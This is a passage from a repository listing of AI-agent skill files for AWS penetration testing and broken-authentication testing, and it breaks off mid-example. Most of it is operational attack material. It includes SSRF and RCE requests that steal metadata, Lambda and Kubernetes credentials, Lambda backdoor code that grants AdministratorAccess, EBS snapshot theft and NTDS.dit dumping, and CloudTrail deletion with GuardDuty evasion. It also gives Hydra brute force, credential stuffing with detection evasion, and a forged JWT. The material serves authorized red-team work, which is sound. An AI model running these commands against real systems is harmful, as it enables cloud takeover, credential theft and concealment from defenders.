--include-values\r\n```\r\n\r\n### Lambda Credential Access\r\n\r\n```bash\r\n# Via RCE - get environment variables\r\nhttps://apigateway/prod/system?cmd=env\r\n\r\n# Via SSRF - access runtime API\r\nhttps://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/\r\n\r\n# Via file read\r\nhttps://apigateway/prod/system?cmd=file:///proc/self/environ\r\n```\r\n\r\n### Lambda Backdooring\r\n\r\n```python\r\n# Malicious Lambda code to escalate privileges\r\nimport boto3\r\nimport json\r\n\r\ndef handler(event, context):\r\n    iam = boto3.client(\"iam\")\r\n    iam.attach_role_policy(\r\n        RoleName=\"role_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    iam.attach_user_policy(\r\n        UserName=\"user_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    return {'statusCode': 200, 'body': json.dumps(\"Pwned\")}\r\n```\r\n\r\n```bash\r\n# Update function with backdoor\r\naws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip\r\n\r\n# Invoke backdoored function\r\ncurl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT\r\n```\r\n\r\n---\r\n\r\n## Secrets Manager & KMS\r\n\r\n### Secrets Manager Enumeration\r\n\r\n```bash\r\n# List all secrets\r\naws secretsmanager list-secrets\r\n\r\n# Describe specific secret\r\naws secretsmanager describe-secret --secret-id NAME\r\n\r\n# Get resource policy\r\naws secretsmanager get-resource-policy --secret-id ID\r\n\r\n# Retrieve secret value\r\naws secretsmanager get-secret-value --secret-id ID\r\n```\r\n\r\n### KMS Enumeration\r\n\r\n```bash\r\n# List KMS keys\r\naws kms list-keys\r\n\r\n# Describe key\r\naws kms describe-key --key-id ID\r\n\r\n# List key policies\r\naws kms list-key-policies --key-id ID\r\n\r\n# Get full policy\r\naws kms get-key-policy --policy-name NAME --key-id ID\r\n```\r\n\r\n### KMS Decryption\r\n\r\n```bash\r\n# Decrypt file (key info embedded in ciphertext)\r\naws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext\r\n```\r\n\r\n---\r\n\r\n## Container Security (ECS/EKS/ECR)\r\n\r\n### ECR Enumeration\r\n\r\n```bash\r\n# List repositories\r\naws ecr describe-repositories\r\n\r\n# Get repository policy\r\naws ecr get-repository-policy --repository-name NAME\r\n\r\n# List images\r\naws ecr list-images --repository-name NAME\r\n\r\n# Describe image\r\naws ecr describe-images --repository-name NAME --image-ids imageTag=TAG\r\n```\r\n\r\n### ECS Enumeration\r\n\r\n```bash\r\n# List clusters\r\naws ecs list-clusters\r\n\r\n# Describe cluster\r\naws ecs describe-clusters --cluster NAME\r\n\r\n# List services\r\naws ecs list-services --cluster NAME\r\n\r\n# Describe service\r\naws ecs describe-services --cluster NAME --services SERVICE\r\n\r\n# List tasks\r\naws ecs list-tasks --cluster NAME\r\n\r\n# Describe task (shows network info for pivoting)\r\naws ecs describe-tasks --cluster NAME --tasks TASK_ARN\r\n\r\n# List container instances\r\naws ecs list-container-instances --cluster NAME\r\n```\r\n\r\n### EKS Enumeration\r\n\r\n```bash\r\n# List EKS clusters\r\naws eks list-clusters\r\n\r\n# Describe cluster\r\naws eks describe-cluster --name NAME\r\n\r\n# List node groups\r\naws eks list-nodegroups --cluster-name NAME\r\n\r\n# Describe node group\r\naws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME\r\n\r\n# List Fargate profiles\r\naws eks list-fargate-profiles --cluster-name NAME\r\n```\r\n\r\n### Container Backdooring\r\n\r\n```bash\r\n# Authenticate Docker to ECR\r\naws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR\r\n\r\n# Build backdoored image\r\ndocker build -t image_name .\r\n\r\n# Tag for ECR\r\ndocker tag image_name ECR_ADDR:IMAGE_NAME\r\n\r\n# Push to ECR\r\ndocker push ECR_ADDR:IMAGE_NAME\r\n```\r\n\r\n### EKS Secrets via RCE\r\n\r\n```bash\r\n# List Kubernetes secrets\r\nhttps://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount\r\n\r\n# Get service account token\r\nhttps://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\r\n```\r\n\r\n---\r\n\r\n## RDS Database Exploitation\r\n\r\n### RDS Enumeration\r\n\r\n```bash\r\n# List RDS clusters\r\naws rds describe-db-clusters\r\n\r\n# List RDS instances\r\naws rds describe-db-instances\r\n# Check: IAMDatabaseAuthenticationEnabled: false = password auth\r\n\r\n# List subnet groups\r\naws rds describe-db-subnet-groups\r\n\r\n# List security groups\r\naws rds describe-db-security-groups\r\n\r\n# List proxies\r\naws rds describe-db-proxies\r\n```\r\n\r\n### Password-Based Access\r\n\r\n```bash\r\nmysql -h HOSTNAME -u USERNAME -P PORT -p\r\n```\r\n\r\n### IAM-Based Access\r\n\r\n```bash\r\n# Generate auth token\r\nTOKEN=$(aws rds generate-db-auth-token \\\r\n  --hostname HOSTNAME \\\r\n  --port PORT \\\r\n  --username USERNAME \\\r\n  --region REGION)\r\n\r\n# Connect with token\r\nmysql -h HOSTNAME -u USERNAME -P PORT \\\r\n  --enable-cleartext-plugin --password=$TOKEN\r\n```\r\n\r\n---\r\n\r\n## DynamoDB Exploitation\r\n\r\n```bash\r\n# List tables\r\naws dynamodb list-tables\r\n\r\n# Scan table contents\r\naws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'\r\n\r\n# Query specific items\r\naws dynamodb query --table-name TABLE_NAME \\\r\n  --key-condition-expression \"pk = :pk\" \\\r\n  --expression-attribute-values '{\":pk\":{\"S\":\"user\"}}'\r\n```\r\n\r\n---\r\n\r\n## VPC Enumeration & Lateral Movement\r\n\r\n### VPC Enumeration\r\n\r\n```bash\r\n# List VPCs\r\naws ec2 describe-vpcs\r\n\r\n# List subnets\r\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List route tables\r\naws ec2 describe-route-tables --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List Network ACLs\r\naws ec2 describe-network-acls\r\n\r\n# List VPC peering connections\r\naws ec2 describe-vpc-peering-connections\r\n```\r\n\r\n### Route Table Targets\r\n\r\n| Destination | Target | Description |\r\n|-------------|--------|-------------|\r\n| IP | `local` | VPC internal |\r\n| IP | `igw` | Internet Gateway |\r\n| IP | `nat` | NAT Gateway |\r\n| IP | `pcx` | VPC Peering |\r\n| IP | `vpce` | VPC Endpoint |\r\n| IP | `vgw` | VPN Gateway |\r\n| IP | `eni` | Network Interface |\r\n\r\n### Lateral Movement via VPC Peering\r\n\r\n```bash\r\n# List peering connections\r\naws ec2 describe-vpc-peering-connections\r\n\r\n# List instances in target VPC\r\naws ec2 describe-instances --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List instances in specific subnet\r\naws ec2 describe-instances --filters \"Name=subnet-id,Values=SUBNET_ID\"\r\n```\r\n\r\n---\r\n\r\n## Security Checklist\r\n\r\n### Identity and Access Management\r\n- [ ] Avoid use of root account\r\n- [ ] MFA enabled for all IAM users with console access\r\n- [ ] Disable credentials unused for 90+ days\r\n- [ ] Rotate access keys every 90 days\r\n- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars\r\n- [ ] No root access keys exist\r\n- [ ] MFA enabled for root account\r\n- [ ] IAM policies attached to groups/roles only\r\n\r\n### Logging\r\n- [ ] CloudTrail enabled in all regions\r\n- [ ] CloudTrail log file validation enabled\r\n- [ ] CloudTrail S3 bucket not publicly accessible\r\n- [ ] CloudTrail integrated with CloudWatch Logs\r\n- [ ] AWS Config enabled in all regions\r\n- [ ] CloudTrail logs encrypted with KMS\r\n- [ ] KMS key rotation enabled\r\n\r\n### Networking\r\n- [ ] No security groups allow 0.0.0.0/0 to port 22\r\n- [ ] No security groups allow 0.0.0.0/0 to port 3389\r\n- [ ] VPC flow logging enabled\r\n- [ ] Default security group restricts all traffic\r\n\r\n### Monitoring\r\n- [ ] Alarm for unauthorized API calls\r\n- [ ] Alarm for console sign-in without MFA\r\n- [ ] Alarm for root account usage\r\n- [ ] Alarm for IAM policy changes\r\n- [ ] Alarm for CloudTrail config changes\r\n- [ ] Alarm for console auth failures\r\n- [ ] Alarm for CMK disabling/deletion\r\n- [ ] Alarm for S3 bucket policy changes\r\n- [ ] Alarm for security group changes\r\n- [ ] Alarm for NACL changes\r\n- [ ] Alarm for VPC changes\r\n","isInternal":false,"tokens":2989,"sizeBytes":12033},{"name":"SKILL.md","path":"skills/aws-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/aws-penetration-testing/SKILL.md","title":"aws-penetration-testing","category":"anthropic-skill","format":"markdown","content":"---\nname: aws-penetration-testing\ndescription: This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs/Prerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs/Deliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2/Lambda/S3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n./enumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp://169.254.169.254/latest/meta-data/\n\n# Get IAM role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Extract temporary credentials\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http://169.254.169.254/latest/api/token\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n/proc/self/environ\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...\n\n# Access credentials\nhttp://169.254.170.2/v2/credentials/CREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file://admin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb://malicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n./bucket_finder.rb wordlist.txt\n./bucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps://{bucket-name}.s3.amazonaws.com\nhttps://s3.amazonaws.com/{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3://bucket-name --recursive\n\n# Download all files\naws s3 sync s3://bucket-name ./local-folder\n```\n\n### Public Bucket Search\n\n```\nhttps://buckets.grayhatwarfare.com/\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf\n\n# Mount and access\nsudo mkdir /mnt/stolen\nsudo mount /dev/xvdf1 /mnt/stolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system ./SYSTEM -ntds ./ntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https://github.com/NetSPI/aws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).\n","frontmatter":{"name":"aws-penetration-testing","description":"This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2472,"sizeBytes":9911},{"name":"SKILL.md","path":"skills/broken-authentication/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/broken-authentication/SKILL.md","title":"broken-authentication","category":"anthropic-skill","format":"markdown","content":"---\nname: broken-authentication\ndescription: This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n/login, /signin, /authenticate\n/register, /signup\n/forgot-password, /reset-password\n/logout, /signout\n/api/auth/*, /oauth/*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST /login HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin/admin, test/test)\n```\n\nDocument policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P /usr/share/wordlists/rockyou.txt \\\n  target.com http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths/codes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!/usr/bin/env python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https://target.com/login\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET /login HTTP/1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST /login HTTP/1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https://target.com/login?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null/empty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If /api/v3/check-otp has rate limiting, try older versions:\nPOST /api/v2/check-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps://target.com/reset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST /forgot-password HTTP/1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre/post-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST /login HTTP/1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST /forgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps://target.com/reset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# 